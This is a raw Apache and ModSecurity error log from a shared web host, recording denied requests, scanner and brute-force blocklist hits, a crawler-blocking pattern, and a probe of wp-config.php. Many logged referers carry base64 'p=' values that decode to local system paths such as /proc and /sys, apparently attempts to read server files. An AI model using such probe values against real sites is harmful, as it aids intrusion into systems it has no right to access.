https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDc= [Sat Jun 13 18:14:12.721279 2026] [access_compat:error] [pid 531155:tid 531281] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDc= [Sat Jun 13 18:14:12.989151 2026] [access_compat:error] [pid 531155:tid 531280] [remote 57.141.14.41:26967] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:12.989606 2026] [access_compat:error] [pid 531155:tid 531280] [remote 57.141.14.41:26967] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:13.099053 2026] [security2:error] [pid 531155:tid 531167] [remote 17.241.227.39:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 39.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yVSmiP80klyS0NnocigABWws"] [Sat Jun 13 18:14:13.174018 2026] [access_compat:error] [pid 531155:tid 531205] [remote 57.141.14.42:39370] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:13.174463 2026] [access_compat:error] [pid 531155:tid 531205] [remote 57.141.14.42:39370] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:13.183835 2026] [security2:error] [pid 531155:tid 531383] [client 114.119.137.91:29089] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "homs.co.ke"] [uri "/storage/2019/03/WhatsApp-Image-2020-03-06-at-12.55.25-2-770x386.jpeg"] [unique_id "ai3yVSmiP80klyS0NnockQAAAWw"], referer: https://homs.co.ke/storage/2019/03/WhatsApp-Image-2020-03-06-at-12.55.25-2-770x386.jpeg [Sat Jun 13 18:14:13.302391 2026] [access_compat:error] [pid 531155:tid 531210] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZQ== [Sat Jun 13 18:14:13.302864 2026] [access_compat:error] [pid 531155:tid 531210] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZQ== [Sat Jun 13 18:14:13.341219 2026] [access_compat:error] [pid 531155:tid 531201] [remote 57.141.14.28:58924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:13.341530 2026] [access_compat:error] [pid 531155:tid 531201] [remote 57.141.14.28:58924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:13.428561 2026] [access_compat:error] [pid 531155:tid 531163] [remote 57.141.14.9:55586] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:13.429019 2026] [access_compat:error] [pid 531155:tid 531163] [remote 57.141.14.9:55586] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:13.503407 2026] [security2:error] [pid 531155:tid 531274] [remote 17.246.15.107:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 107.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yVSmiP80klyS0NnocoAABSXY"] [Sat Jun 13 18:14:13.633188 2026] [security2:error] [pid 531155:tid 531364] [client 114.119.148.242:30483] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.cochranlake.org"] [uri "/tiny_mce/plugins/xhtmlxtras"] [unique_id "ai3yVSmiP80klyS0NnocpQAAAVk"], referer: https://www.cochranlake.org/tiny_mce/plugins/xhtmlxtras?C=N%3BO%3DD [Sat Jun 13 18:14:13.647595 2026] [security2:error] [pid 531155:tid 531341] [client 114.119.132.42:34097] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.madagascar-foundation.org"] [uri "/pedro"] [unique_id "ai3yVSmiP80klyS0NnocpgAAAUI"], referer: https://www.madagascar-foundation.org/last-news/page/7?gclid=CJrOj-K5k84CFRXhGwodYXQJzA [Sat Jun 13 18:14:13.815686 2026] [access_compat:error] [pid 531155:tid 531177] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:14:13.815943 2026] [access_compat:error] [pid 531155:tid 531177] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:14:14.041872 2026] [security2:error] [pid 531155:tid 531221] [remote 17.22.245.204:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 204.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yVimiP80klyS0NnocvAABSkE"] [Sat Jun 13 18:14:14.137208 2026] [security2:error] [pid 531155:tid 531215] [remote 17.22.253.223:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 223.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yVimiP80klyS0NnocxAABXzs"] [Sat Jun 13 18:14:14.200172 2026] [access_compat:error] [pid 531155:tid 531222] [remote 57.141.14.12:45664] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:14.200483 2026] [access_compat:error] [pid 531155:tid 531222] [remote 57.141.14.12:45664] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:14.220077 2026] [security2:error] [pid 531155:tid 531206] [remote 17.246.23.251:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 251.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yVimiP80klyS0NnocyAABfjI"] [Sat Jun 13 18:14:14.360583 2026] [access_compat:error] [pid 531155:tid 531203] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:14:14.361037 2026] [access_compat:error] [pid 531155:tid 531203] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:14:14.637262 2026] [security2:error] [pid 531155:tid 531196] [remote 220.181.108.82:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 82.108.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yVimiP80klyS0Nnoc4gABZyg"] [Sat Jun 13 18:14:14.746055 2026] [access_compat:error] [pid 531155:tid 531267] [remote 57.141.14.103:50258] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:14.746328 2026] [access_compat:error] [pid 531155:tid 531267] [remote 57.141.14.103:50258] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:14.812116 2026] [access_compat:error] [pid 531155:tid 531159] [remote 57.141.14.112:61058] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:14.812397 2026] [access_compat:error] [pid 531155:tid 531159] [remote 57.141.14.112:61058] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:14.939634 2026] [access_compat:error] [pid 531155:tid 531192] [remote 57.141.14.86:23532] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:14.940089 2026] [access_compat:error] [pid 531155:tid 531192] [remote 57.141.14.86:23532] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:14.952072 2026] [access_compat:error] [pid 531155:tid 531239] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNl [Sat Jun 13 18:14:14.952524 2026] [access_compat:error] [pid 531155:tid 531239] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNl [Sat Jun 13 18:14:15.054198 2026] [access_compat:error] [pid 531155:tid 531245] [remote 57.141.14.12:45678] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:15.054636 2026] [access_compat:error] [pid 531155:tid 531245] [remote 57.141.14.12:45678] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:15.217575 2026] [security2:error] [pid 531155:tid 531226] [remote 17.241.219.165:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 165.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yVymiP80klyS0NnodCgABJ0Y"] [Sat Jun 13 18:14:15.419959 2026] [access_compat:error] [pid 531155:tid 531214] [remote 74.7.242.16:43318] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNzQxL25ldA== [Sat Jun 13 18:14:15.420233 2026] [access_compat:error] [pid 531155:tid 531214] [remote 74.7.242.16:43318] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNzQxL25ldA== [Sat Jun 13 18:14:15.486318 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQyL2lucHV0Mjo6Y2Fwc2xvY2s= [Sat Jun 13 18:14:15.486619 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQyL2lucHV0Mjo6Y2Fwc2xvY2s= [Sat Jun 13 18:14:15.572992 2026] [security2:error] [pid 531155:tid 531350] [client 172.56.168.133:31751] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3yVymiP80klyS0NnodGAAAAUs"] [Sat Jun 13 18:14:15.577556 2026] [security2:error] [pid 531155:tid 531350] [client 172.56.168.133:31751] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3yVymiP80klyS0NnodGAAAAUs"] [Sat Jun 13 18:14:15.590490 2026] [security2:error] [pid 531155:tid 531232] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/wp-config.php"] [unique_id "ai3yVymiP80klyS0NnodGgABZkw"] [Sat Jun 13 18:14:15.981016 2026] [security2:error] [pid 531155:tid 531225] [remote 17.22.245.147:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 147.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yVymiP80klyS0NnodMAABhEU"] [Sat Jun 13 18:14:16.005310 2026] [access_compat:error] [pid 531155:tid 531187] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDEvcG93ZXI= [Sat Jun 13 18:14:16.005591 2026] [access_compat:error] [pid 531155:tid 531187] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 